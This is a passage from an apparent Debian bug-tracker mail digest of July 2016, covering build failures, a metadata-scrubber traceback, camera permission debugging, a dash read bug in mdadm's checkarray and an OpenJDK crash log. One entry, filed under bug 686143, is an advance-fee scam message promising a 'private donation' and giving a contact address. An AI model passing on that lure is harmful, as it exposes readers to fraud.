  nginx.conf reads conf.d/*.conf
  default server reads conf.d/*.include_in_default

Whether this is a good idea or not, I'm not entirely certain. It's the
best solution I've been able to come up with.

Bug#832544: runit: FTBFS on m68k and sh4: runit-init test fails

[Aaron M. Ucko]

Source: runit
Version: 2.1.2-4
Severity: important
Justification: fails to build from source (but built successfully in the past)

The m68k and sh4 builds of runit both failed:

  ./check-local chpst runit runit-init runsv runsvchdir runsvdir sv svlogd 
utmpset
  Checking chpst...
  Checking runit...
  Checking runit-init...
  usage: /«PKGBUILDDIR»/runit-2.1.2/src/runit-init 0|6
  
  0
  runit-init failed.
  Makefile:6: recipe for target 'check' failed
  make[1]: *** [check] Error 1

Could you please take a look?

Thanks!

Bug#832542: mat: unable to clean docx files of metadata

[Jeremiah]

Package: mat
Version: 0.5.2-3
Severity: important

Dear Maintainer,

   * What led up to the situation?

While attempting to scrub metadata from some documents, I recieved the 
following error:
Traceback (most recent call last):
  File "/usr/bin/mat-gui", line 423, in __mat_clean
elif self.liststore[line][0].file.remove_all():
  File "/usr/lib/python2.7/dist-packages/MAT/office.py", line 80, in remove_all
beginning_blacklist=('docProps/'), whitelist=('.rels'))
  File "/usr/lib/python2.7/dist-packages/MAT/archive.py", line 180, in 
remove_all
zipout.write(path, item.filename)
  File "/usr/lib/python2.7/zipfile.py", line 1135, in write
zinfo = ZipInfo(arcname, date_time)
  File "/usr/lib/python2.7/zipfile.py", line 305, in __init__
raise ValueError('ZIP does not support timestamps before 1980')
ValueError: ZIP does not support timestamps before 1980

Which resulted in the metadata not being removed from the .docx file

-- System Information:
Debian Release: 8.5
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 3.16.0-4-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages mat depends on:
ii  python 2.7.9-1
ii  python-gi  3.14.0-1
ii  python-hachoir-core1.3.3-4
ii  python-hachoir-parser  1.3.4-2

Versions of packages mat recommends:
ii  gir1.2-poppler-0.18 0.26.5-2+deb8u1
ii  libimage-exiftool-perl  9.74-1
ii  python-gi-cairo 3.14.0-1
ii  python-mutagen  1.25.1-1
ii  python-nautilus 1.1-4
ii  python-pdfrw0.1-3

mat suggests no packages.

-- no debconf information

Bug#832543: runit: FTBFS on hurd-i386: tests fail (for sv?)

[Aaron M. Ucko]

Source: runit
Version: 2.1.2-4
Severity: important
Justification: fails to build from source

The hurd-i386 build of runit failed:

  ./check-local chpst runit runit-init runsv runsvchdir runsvdir sv svlogd 
utmpset
  Checking chpst...
  Checking runit...
  Checking runit-init...
  Checking runsv...
  Checking runsvchdir...
  Checking runsvdir...
  Checking sv...
  Makefile:6: recipe for target 'check' failed

Based on this output, I presume the failure was somewhere in the sv
test.  (Perhaps you can reproduce the problem on a porterbox or
private VM.)

Could you please take a look?

Thanks!

Bug#827111: jessie-pu: package exim4/4.84.2-2

[Andreas Metzler]

On 2016-07-26 Salvatore Bonaccorso  wrote:
> On Mon, Jul 25, 2016 at 08:50:47PM +0200, Salvatore Bonaccorso wrote:
>> On Mon, Jul 25, 2016 at 07:28:33PM +0100, Adam D. Barratt wrote:
>>> On Mon, 2016-07-25 at 20:14 +0200, Salvatore Bonaccorso wrote:
[...]
 Since we claimed 4.84.2-2+deb8u1 in the DSA, would it help if we just
 redo the update, push the packages? (without further announce, since
 that was the claimed version)?
 
 Attached how that would look like with debdiff against 4.84.2-2.
>>> 
>>> If you're happy to do so, that looks good to me; thanks.
>> 
>> I just have uploaded 4.84.2-2+deb8u1 and will dak install the builds.
>> Hope no user will complain.

> FTR, this has been done. 

Thank you!

Bug#832540: evolver: FTBFS on kFreeBSD and the Hurd: sysinfo undeclared

[Aaron M. Ucko]

Source: evolver
Version: 2.70+ds-1
Severity: important
Justification: fails to build from source

Builds of evolver for kFreeBSD and the Hurd failed:

  ../../../src/painter.c: In function 'painter_start':
  ../../../src/painter.c:441:20: error: storage size of 's' isn't known
 { struct sysinfo s;
  ^
  ../../../src/painter.c:442:5: warning: implicit declaration of function 
'sysinfo' [-Wimplicit-function-declaration]
   sysinfo();
   ^

The issue appears to be that include.h's conditional inclusion of
 misses these architectures.  Could you please take a look?

Thanks!

Bug#824451: libarchive: FTBFS on kFreeBSD: tar/test/test_option_older_than.c:70: File should exist

[Aaron M. Ucko]

Source: libarchive
Version: 3.2.1-2
Followup-For: Bug #824451

FTR, this test has been failing in the same fashion on hurd-i386.

Bug#832541: libarchive: FTBFS on armhf: test_option_newer_than fails

[Aaron M. Ucko]

Source: libarchive
Version: 3.2.1-2
Severity: serious
Justification: fails to build from source (but built successfully in the past)

The latest libarchive build for armhf failed:

   39: test_option_newer_than
  tar/test/test_option_newer_than.c:62: File should exist: new.txt
  tar/test/test_option_newer_than.c:63: File should exist: a/b/new.txt
  tar/test/test_option_newer_than.c:72: File should exist: new.txt
  tar/test/test_option_newer_than.c:73: File should exist: a/b/new.txt

Could you please take a look?

Thanks!

Bug#580196: icedove: Attachments don't work on gmail accounts

[Manuel Bilderbeek]

Hi,

That's fine, it's working again now which I reported in 2012 and the 
other issue I mentioned there also doesn't seem to occur anymore. I 
forgot I ever filed this bug report and I don't remember when it got 
fixed...


On 25-07-16 22:30, Carsten Schoenert wrote:

Version: 45.2.0-1

I'm gonne close this report after over three years without new action.

On Sun, Dec 09, 2012 at 09:01:28PM +0100, Manuel Bilderbeek wrote:

Hi,

On 09-12-12 17:42, Carsten Schoenert wrote:

this works with 3.1.16 and 10.0.x.
I think this bug is gone or you have still problems with this?


No, only that on my GMail accounts messages are sometimes messed up, mixed
with a next or previous message, for instance.



--
Grtjs, Manuel

PS: MSX FOR EVER! (Questions? http://faq.msxnet.org/ )
PPS: Visit my homepage at http://manuel.msxnet.org/

Bug#832539: Removed headervmodular-int32.h which is used by linbox

[Tobias Hansen]

Source: fflas-ffpack
Version: 2.2.1-1

Hi,

The package fflas-ffpack-common in version 1.6.0-1 contained the file
/usr/include/fflas-ffpack/field/modular-int32.h

which is used by linbox. It is included for example in
/usr/include/linbox/field/Modular/modular-int32.h from the package
liblinbox-dev.

I'm not sure if this file should still be there in fflas-ffpack-common
or if linbox needs to be updated.

Best,
Tobias

Bug#832538: evolver: FTBFS on i386: PROF_* calls broken

[Aaron M. Ucko]

Source: evolver
Version: 2.70+ds-1
Severity: important
Justification: fails to build from source

The i386 build of evolver failed:

  ../../../src/tmain.c: In function 'task_caller':
  ../../../src/extern.h:2383:38: error: subscripted value is neither array nor 
pointer nor vector
 asm("movl %%eax,%0" : "=m"(fullname[0]) : ); \
^
  ../../../src/tmain.c:1133:1: note: in expansion of macro 'PROF_NOW'
   PROF_NOW(now);
   ^

The problem appears to be that the PROC_* definitions in use here
expect to work with an array of two 32-bit values, whereas the actual
usage is with a single 64-bit value (matching the macro definitions
used on Windows).

Please either fix these macros to match their usage or simply disable
them altogether, as already done for other processor types.

Thanks!

Bug#832516: kmail: does not show message headers

[Thorsten Glaser]

On Tue, 26 Jul 2016, Sandro Knauß wrote:

> please install kdepim-addons. There you find all message header styles.

OK, but if without there are no header styles, it should
be in Depends.

Also, how can I customise it? The fancy one looks almost
like before, but it has empty (for most messages) CC and
BCC in it, which I’d like to suppress when empty.

bye,
//mirabilos
-- 
tarent solutions GmbH
Rochusstraße 2-4, D-53123 Bonn • http://www.tarent.de/
Tel: +49 228 54881-393 • Fax: +49 228 54881-235
HRB 5168 (AG Bonn) • USt-ID (VAT): DE122264941
Geschäftsführer: Dr. Stefan Barth, Kai Ebenrett, Boris Esser, Alexander Steeg

Bug#760096: [Pkg-phototools-devel] Bug#760096: Acknowledgement (gphoto2: Fails to initialize CanonPowerShot G5 after upgrade from stable)

[Herbert Fortes]

> > Can you tell me which mode (normal/PTP) did you use ? 
> 
> How do I find out? I just plug the camera in.

I do not have a camera. But when I plug my
cell phone I have two options (in the cell
phone):

 - media device. Like a pendrive I guess.
 - camera (PTP))


Is there something similar in your camera ?


> > Can you set '--camera MODEL' and see what happens ? It 
> > will necessary to use '--port' too. 
> > 
> > "--list-cameras" (List supported camera models.) and
> 
> This "only" gives:
> helge@samd:~$ gphoto2 --list-cameras | grep G5
> »Canon PowerShot G5 (PTP mode)«

PTP mode is the only way.


> > "--list-ports" (List supported port devices) can be
> > a help.
> 
> helge@samd:~$ LC_ALL=C gphoto2 -L --camera "Canon PowerShot G5 (PTP mode)" 
> --port "usb:"
> 
> *** Error ***
> An error occurred in the io-library ('Bad parameters'): No error description 
> available
> *** Error (-2: 'Bad parameters') ***

Yes, PTP must be set on the device, if possible. Did
you try '--auto-detect' ? The manpage says it list 
auto-detected cameras.

> 
> For debugging messages, please use the --debug option.
> Debugging messages may help finding a solution to your problem.
> If you intend to send any error or debug messages to the gphoto
> developer mailing list , please run
> gphoto2 as follows:
> 
> env LANG=C gphoto2 --debug --debug-logfile=my-logfile.txt -L --camera 
> "Canon PowerShot G5 (PTP mode)" --port usb:
> 
> Please make sure there is sufficient quoting around the arguments.
> 
> However, I just by chance tried as root:
> root@samd:~# LC_ALL=C gphoto2 -L
> There is no file in folder '/'.
> There is no file in folder '/store_00010001'.
> There is no file in folder '/store_00010001/MISC'.
> There is no file in folder '/store_8001'.
> 
> Strange, so it must be a permission problem. Also -P works (as root).

Did you check /dev/* ? lsusb and ls -l /dev/bus/usb/003/012 (in my case)
can show the permissions.



regards,
-- Herbert Parentes Fortes Neto (hpfn)

signature.asc
Description: This is a digitally signed message part

Bug#832484: xserver-xorg-core: modesetting on some Intel hw causes hangs on xscreensaver (and on VT switches)

[Francesco Poli]

On Mon, 25 Jul 2016 23:55:49 +0200 Francesco Poli (wintermute) wrote:

[...]
> I found a number of kernel traces in /var/log/kern.log (attached).
> The times showed that the first traces were experienced well before
> I came back to the box, while the last ones were obtained during
> my attempts to re-gain control of my X session...
> 
> I also noticed that switching VT back and forth (without a running
> screensaver or a locked display) generates new traces in
> /var/log/kern.log ...
[...]

Update: I tried to force the use of the "intel" X video driver with

  $ cat /etc/X11/xorg.conf 
  Section "Device"
  Identifier "Intel"
  Driver "intel"
  #   Option "AccelMethod" "uxa"
  EndSection

After restarting the X session, I found out that the same issues happen
even with the "intel" X video driver.
Could these issues depend on the kernel upgrade that was performed on
the box along with the xserver-xorg-core upgrade?

  [UPGRADE] linux-image-4.6.0-1-amd64:amd64 4.6.3-1 -> 4.6.4-1

I am Cc-ing the Debian Kernel Team about this.

Dear Kernel Team, should bug #832484 be reassigned to source package
linux/4.6.4-1 ?

Please let me know, thanks for your time.


-- 
 http://www.inventati.org/frx/
 There's not a second to spare! To the laboratory!
. Francesco Poli .
 GnuPG key fpr == CA01 1147 9CD2 EFDF FB82  3925 3E1C 27E1 1F69 BFFE


pgpLeFEn_ENsA.pgp
Description: PGP signature

Bug#832481: Please remove "local stratum 10" from default config file

[Vincent Blut]

config file
Reply-To: In-Reply-To: <87eg6hxup1.wl-...@pps.univ-paris-diderot.fr>

tags 832481 moreinfo
thanks

Hello,

On Mon, Jul 25, 2016 at 11:40:42PM +0200, Juliusz Chroboczek wrote:

Package: chrony
Version: 1.30-2+deb8u2
Severity: minor

The default config file contains the line

 local stratum 10

When run on a node with no RTC, this line causes chrony to disrupt the
other nodes until the node manages to synchronise with a network node.


Could you please describe what kind of disruptions you’re seeing?


I suggest commenting it out in the default configuration.


Well, I’m quite reluctant about introducing such a change to stable as I 
suspect some users are relying on this feature.



-- Juliusz


Cheers,
Vincent


signature.asc
Description: PGP signature

Bug#832537: mdadm: /usr/share/mdadm/checkarray: fails silently, without any action

[Sabahattin Gucukoglu]

Package: mdadm
Version: 3.4-1
Severity: important

Because of a peculiar bug in dash (0.5.8-2.2) reading from sysfs using the 
read command, on my sysstem, line 145 of checkarray always fails with status 
1, thus ending the script (set -e) and providing no hint to the 
administrator (via cronjob output mail) that checks are not actually being 
performed on schedule.  Assuming it affects others, this is of course very 
serious.

I can reproduce the shell bug easily enough at a /bin/sh prompt:

$ MDBASE=/sys/block/md126/md
$ cat $MDBASE/sync_ation
idle
$ read cur_status < $MDBASE/sync_ation
$ echo $?
1
$ echo $cur_status
i

The workaround for me is to use bash (start the script from the crontab 
using bash).  It works perfectly then.

-- System Information:
Debian Release: stretch/sid
  APT prefers unstable
  APT policy: (500, 'unstable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.6.0-1-amd64 (SMP w/8 CPU cores)
Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Bug#832456: elfutils: improve handling of DEB_BUILD_OPTIONS=nocheck

[Kurt Roeckx]

On Tue, Jul 26, 2016 at 06:25:16AM +0200, Helmut Grohne wrote:
> Hi Kurt,
> 
> On Mon, Jul 25, 2016 at 08:36:41PM +0200, Kurt Roeckx wrote:
> > This all looks fine.  I'm just wondering why gcc-multilib is a
> > problem in your case since it was already any-amd64.  I'm also
> > wondering if any other arches need it, like x32 and ppc64el.
> 
> Well, kfreebsd-amd64 matches any-amd64 and I'm cross building for that.
> 
> As far as I understand, Debian's ppc64el doesn't do -m32.
> 
> x32 does understand -m32.
> 
> Given that the most recent libtool build succeeded on both amd64 and x32
> and that both builds skipped 22 tests, I guess that -m32 is not needed
> on x32 (and maybe no longer needed on amd64 either).

Are you confusing libtool and elfutils?


Kurt

Bug#832527: kdenlive: crash when applying 'compand' filter

[Roland Hieber]

Quick follow up: additional constraint to trigger the bug is that the
preview cursor in the timeline is placed somewhere on the clip so that a
preview is generated in the Project Monitor window. It does not happen
if I close the Project Monitor window, but then, rendering the project
crashes with the same message in the error log:

  [filt @ 0x7fa8708b87a0] Invalid and/or missing input/output value.
  [filt @ 0x7fa8708b87a0] Failed to configure output pad on filt
  [filter avfilter.compand] Cannot configure the filter graph

It also happens with only a single clip in the project, so I tried
converting the audio to mp3 (without MKV container), which also crashed
when applying the filter/moving the cursor.

I also experienced similar crashes with some other effects in the past.
I didn't investigate further back then, but those crashes could be related.

Cheers,
 - Roland

Bug#747072: node-client officially obsolete

[Phil Morrell]

Just stumbled across this message for anyone intending to package:

0.8.26 (2016-07-21)

END OF LIFE

Disable all access and redirect to: https://keybase.io/download

https://github.com/keybase/node-client/blob/master/CHANGELOG.md

As Jonathan Yu says, the new client is written in Go with .deb
published to https://prerelease.keybase.io/, their packaging process
appears to be here:
https://github.com/keybase/client/blob/master/packaging/linux/deb/layout_repo.sh

Bug#760096: [Pkg-phototools-devel] Bug#760096: Acknowledgement (gphoto2: Fails to initialize CanonPowerShot G5 after upgrade from stable)

[Helge Kreutzmann]

Hello Herbert,
thanks for your speedy reply.

On Tue, Jul 26, 2016 at 11:04:30AM -0300, Herbert Fortes wrote:
> Thanks to stopping by.
> 
> Em Ter, 2016-07-26 às 12:13 +0200, Helge Kreutzmann escreveu:
> > Hello,
> > my stable machine died and I set up a testing machine having version
> > 2.5.10-1.
> > 
> > However, gphoto2 does work even less: now the camera is not detected.
> > When I plug it in, I see (in /var/log/syslog):
> > 
> > Jul 26 12:09:21 samd kernel: [11905.608945] usb 11-3: new full-speed USB 
> > device number 3 using ohci-pci
> > Jul 26 12:09:22 samd kernel: [11905.780175] usb 11-3: New USB device found, 
> > idVendor=04a9, idProduct=3085
> > Jul 26 12:09:22 samd kernel: [11905.780182] usb 11-3: New USB device 
> > strings: Mfr=1, Product=2, SerialNumber=0
> > Jul 26 12:09:22 samd kernel: [11905.780187] usb 11-3: Product: Canon 
> > Digital Camera
> > Jul 26 12:09:22 samd kernel: [11905.780191] usb 11-3: Manufacturer: Canon 
> > Inc.
> > Jul 26 12:09:22 samd mtp-probe: checking bus 11, device 3: 
> > "/sys/devices/pci:00/:00:16.0/usb11/11-3"
> > Jul 26 12:09:22 samd mtp-probe: bus: 11, device: 3 was not an MTP device
> > 
> > However, gphoto2 does not see it, running
> > env LANG=C gphoto2 --debug --debug-logfile=my-logfile.txt -L
> > yields:
> > *** Fehler ***
> > Konnte keine Kamera finden
> > *** Fehler (-105: »Unbekanntes Modell«) ***
> > 
> > (In english: Error, could not find a camera, error (-104, "unknown model")).
> > 
> > It worked in 2.4.x, however, I'm no longer able to (trivially) forward port 
> > this version :-((
> > 
> > The log file is attached, any idea how to rectify this greatly
> > appreciated.
> 
> A quick 'grep' shows that the camera is supported:
> ./libgphoto2/camlibs/canon/doc/Protocol.xml:PowerShot 
> G502-May-03yes
> ./libgphoto2/camlibs/canon/doc/Protocol.xml:    as the product ID, which is 
> correct for the PowerShot G5.
> ./libgphoto2/camlibs/canon/canon.c:{"Canon:PowerShot G5 (normal 
> mode)", CANON_CLASS_5, 0x04A9, 0x3085, CAP_SUP, SL_MOVIE_LARGE, SL_THUMB, 
> SL_PICTURE, NULL},
> ./libgphoto2/camlibs/ptp2/library.c:  {"Canon:PowerShot G5 (PTP mode)",   
> 0x04a9, 0x3085, PTPBUG_DELETE_SENDS_EVENT|PTP_CAP|PTP_CAP_PREVIEW},
> 
> Can you tell me which mode (normal/PTP) did you use ? 

How do I find out? I just plug the camera in.

> Can you set '--camera MODEL' and see what happens ? It 
> will necessary to use '--port' too. 
> 
> "--list-cameras" (List supported camera models.) and

This "only" gives:
helge@samd:~$ gphoto2 --list-cameras | grep G5
»Canon PowerShot G5 (PTP mode)«

> "--list-ports" (List supported port devices) can be
> a help.

helge@samd:~$ LC_ALL=C gphoto2 -L --camera "Canon PowerShot G5 (PTP mode)" 
--port "usb:"

*** Error ***
An error occurred in the io-library ('Bad parameters'): No error description 
available
*** Error (-2: 'Bad parameters') ***

For debugging messages, please use the --debug option.
Debugging messages may help finding a solution to your problem.
If you intend to send any error or debug messages to the gphoto
developer mailing list , please run
gphoto2 as follows:

env LANG=C gphoto2 --debug --debug-logfile=my-logfile.txt -L --camera 
"Canon PowerShot G5 (PTP mode)" --port usb:

Please make sure there is sufficient quoting around the arguments.

However, I just by chance tried as root:
root@samd:~# LC_ALL=C gphoto2 -L
There is no file in folder '/'.
There is no file in folder '/store_00010001'.
There is no file in folder '/store_00010001/MISC'.
There is no file in folder '/store_8001'.

Strange, so it must be a permission problem. Also -P works (as root).

Greetings

  Helge

-- 
  Dr. Helge Kreutzmann deb...@helgefjell.de
   Dipl.-Phys.   http://www.helgefjell.de/debian.php
64bit GNU powered gpg signed mail preferred
   Help keep free software "libre": http://www.ffii.de/


signature.asc
Description: Digital signature

Bug#832001: pyenchant: new upstream release (1.6.7)

[Jakub Wilk]

Control: tags -1 + moreinfo

* Jakub Wilk , 2016-07-21, 11:33:
thanks for the info. pypi.python.org and homepage¹ still don't have 
it,

Good point. I'll ask upstream to upload to PyPI.


https://github.com/rfk/pyenchant/issues/84

--
Jakub Wilk

Bug#686143: Donation

[Bente Krogseth]

Private donation made to you by Mrs. Bettencourt Contact  
bliliane11...@outlook.com for more info?

Bug#831673: bug#24024: grep: Mixing "max-count" and "after-context" outputs too few lines

[Norihiro Tanaka]

> Igor Bogomazov  filed the following bug against grep in
> Debian.
> 
> > $ printf '%s\n' a b a c | grep -m1 -A3 a
> > 
> > What I see:
> > 
> > a
> > b
> > 
> > What I expect:
> > 
> > a
> > b
> > a
> > c

As long as looking at prepending(), I see that it is designed but not
documented.

Bug#832536: puppet-master - no upgrade path from 3.7

[Bastian Blank]

Package: puppet-master
Version: 4.5.2-1
Severity: important

Puppet as shipped in Debian Stretch does not provide any backward
compatibility with older agents.  As there is also no forward
compatibility, no upgrade path exists.

According to
https://docs.puppet.com/puppetserver/latest/compatibility_with_puppet_agent.html
there exists backward compatibility support in Puppet Server

Regards,
Bastian

-- 
It would seem that evil retreats when forcibly confronted.
-- Yarnek of Excalbia, "The Savage Curtain", stardate 5906.5

Bug#832535: openjdk-8-jre-headless: Dies in libatk-bridge-2.0.so.0+0xf043

[Helge Kreutzmann]

Package: openjdk-8-jre-headless
Version: 8u91-b14-3
Severity: normal

I wanted to try racoon[1] (which I briefly had used on stable, but that
machine unfortunately died) but java fails to run it.

Full log attached.

(The parameters just stem from different tries, it crashes always).

[1] http://www.onyxbits.de/raccoon

-- System Information:
Debian Release: stretch/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: amd64 (x86_64)

Kernel: Linux 4.5.5samd.10-grsec (SMP w/4 CPU cores)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8) (ignored: LC_ALL 
set to de_DE.UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages openjdk-8-jre-headless depends on:
ii  ca-certificates-java  20160321
ii  java-common   0.57
ii  libc6 2.23-2
ii  libcups2  2.1.4-4
ii  libfontconfig12.11.0-6.4
ii  libfreetype6  2.6.3-3+b1
ii  libgcc1   1:6.1.1-9
ii  libjpeg62-turbo   1:1.5.0-1
ii  liblcms2-22.7-1
ii  libnss3   2:3.23-2
ii  libpcsclite1  1.8.17-1
ii  libstdc++66.1.1-9
ii  libx11-6  2:1.6.3-1
ii  libxext6  2:1.3.3-1
ii  libxi62:1.7.6-1
ii  libxrender1   1:0.9.9-2
ii  libxtst6  2:1.2.2-1+b1
ii  multiarch-support 2.23-2
ii  util-linux2.28-6
ii  zlib1g1:1.2.8.dfsg-2+b1

openjdk-8-jre-headless recommends no packages.

Versions of packages openjdk-8-jre-headless suggests:
ii  fonts-dejavu-extra 2.36-1
pn  fonts-indic
pn  fonts-ipafont-gothic   
pn  fonts-ipafont-mincho   
pn  libnss-mdns
pn  openjdk-8-jre-jamvm
pn  ttf-wqy-microhei | ttf-wqy-zenhei  

-- no debconf information

-- 
  Dr. Helge Kreutzmann deb...@helgefjell.de
   Dipl.-Phys.   http://www.helgefjell.de/debian.php
64bit GNU powered gpg signed mail preferred
   Help keep free software "libre": http://www.ffii.de/
#
# A fatal error has been detected by the Java Runtime Environment:
#
#  SIGSEGV (0xb) at pc=0x6cffde1ec043, pid=29448, tid=119849730934528
#
# JRE version: OpenJDK Runtime Environment (8.0_91-b14) (build 
1.8.0_91-8u91-b14-3-b14)
# Java VM: OpenJDK 64-Bit Server VM (25.91-b14 mixed mode linux-amd64 
compressed oops)
# Problematic frame:
# C  [libatk-bridge-2.0.so.0+0xf043]
#
# Failed to write core dump. Core dumps have been disabled. To enable core 
dumping, try "ulimit -c unlimited" before starting Java again
#
# If you would like to submit a bug report, please visit:
#   http://bugreport.java.com/bugreport/crash.jsp
# The crash happened outside the Java Virtual Machine in native code.
# See problematic frame for where to report the bug.
#

---  T H R E A D  ---

Current thread (0x6d00a8009800):  JavaThread "main" [_thread_in_native, 
id=29690, stack(0x6d00b0938000,0x6d00b0a39000)]

siginfo: si_signo: 11 (SIGSEGV), si_code: 1 (SEGV_MAPERR), si_addr: 
0x0038

Registers:
RAX=0x, RBX=0x6cffde40bb98, RCX=0x0003, 
RDX=0x
RSP=0x6d00b0a37250, RBP=0x6d00a83e8600, RSI=0x, 
RDI=0x6d00a83e8600
R8 =0x6d00a83e8240, R9 =0x0020, R10=0x0182, 
R11=0x6cffde1ec7a0
R12=0x6d0058fff000, R13=0x6d0058bbdf78, R14=0x6d00b0a372e0, 
R15=0x6d00a8009800
RIP=0x6cffde1ec043, EFLAGS=0x00010206, CSGSFS=0x0033, 
ERR=0x0004
  TRAPNO=0x000e

Top of Stack: (sp=0x6d00b0a37250)
0x6d00b0a37250:   6cffde84a9b8 6cffde84a9b8
0x6d00b0a37260:   6d00b0a372c8 6cffde63ab2e
0x6d00b0a37270:   6d0058bbdf78 6d0099017314
0x6d00b0a37280:   6d0099017062 6d00b0a37288
0x6d00b0a37290:   6d0058bbdf78 6d00b0a372e0
0x6d00b0a372a0:   6d0058bc0658 
0x6d00b0a372b0:   6d0058bbdf78 
0x6d00b0a372c0:   6d00b0a372e8 6d00b0a37328
0x6d00b0a372d0:   6d00990080f6 6d0083f049b0
0x6d00b0a372e0:   6d0099011378 6d00b0a372e8
0x6d00b0a372f0:   6d0058bfa1fa 6d00b0a37348
0x6d00b0a37300:   6d0058bfa3b0 
0x6d00b0a37310:   6d0058bfa310 6d00b0a372e8
0x6d00b0a37320:   6d00b0a37340 6d00b0a37390
0x6d00b0a37330:   6d009900813b 
0x6d00b0a37340:   6d00840ecb70 6d0083f44318
0x6d00b0a37350:   6d00b0a37350 6d0058bebe45
0x6d00b0a37360:   6d00b0a373d0 6d0058bebef0
0x6d00b0a37370:    6d0058bebe68
0x6d00b0a37380:   6d00b0a37340 6d00b0a373c8
0x6d00b0a37390:   6d00b0a37418 6d009900813b
0x6d00b0a373a0:    
0x6d00b0a373b0:   

Bug#823911: jessie-pu: package debian-security-support/2016.05.09+nmu1~deb8u1

[Santiago Ruano Rincón]

Control: retitle -1 jessie-pu: package debian-security-support/2016.05.24~deb8u1

El 12/07/16 a las 21:42, Adam D. Barratt escribió:
> On Wed, 2016-06-29 at 16:29 +0200, Santiago Ruano Rincón wrote:
> > El 27/05/16 a las 18:17, Adam D. Barratt escribió:
> > > Control: tags -1 + confirmed
> [...]
> > > Please go ahead.
> [...]
> > A more recent version of debian-security-support fixes two additional
> > bugs:
> > 
> > https://bugs.debian.org/824015
> > https://bugs.debian.org/824081
> > 
> > This new package also updates the security support status for different
> > packages, and updates several localization files. Please, find the diff
> > below.
> 
> fwiw, I don't find > 1000 line inline diffs particularly pleasant to
> deal with; attaching it would have been more conventional. (
> 

Oups! Sorry, you're right.

> > Should I go ahead with this new release?
> 
> Please feel free.
> 
> > Retitling this same bug report is enough, or a new bug is needed?
> 
> As you never actually uploaded the previous version, reusing this report
> is fine. (Basically one bug per upload, with occasional exceptions for
> things like FTBFS issues in uploads.)

Thanks,

Santiago


signature.asc
Description: PGP signature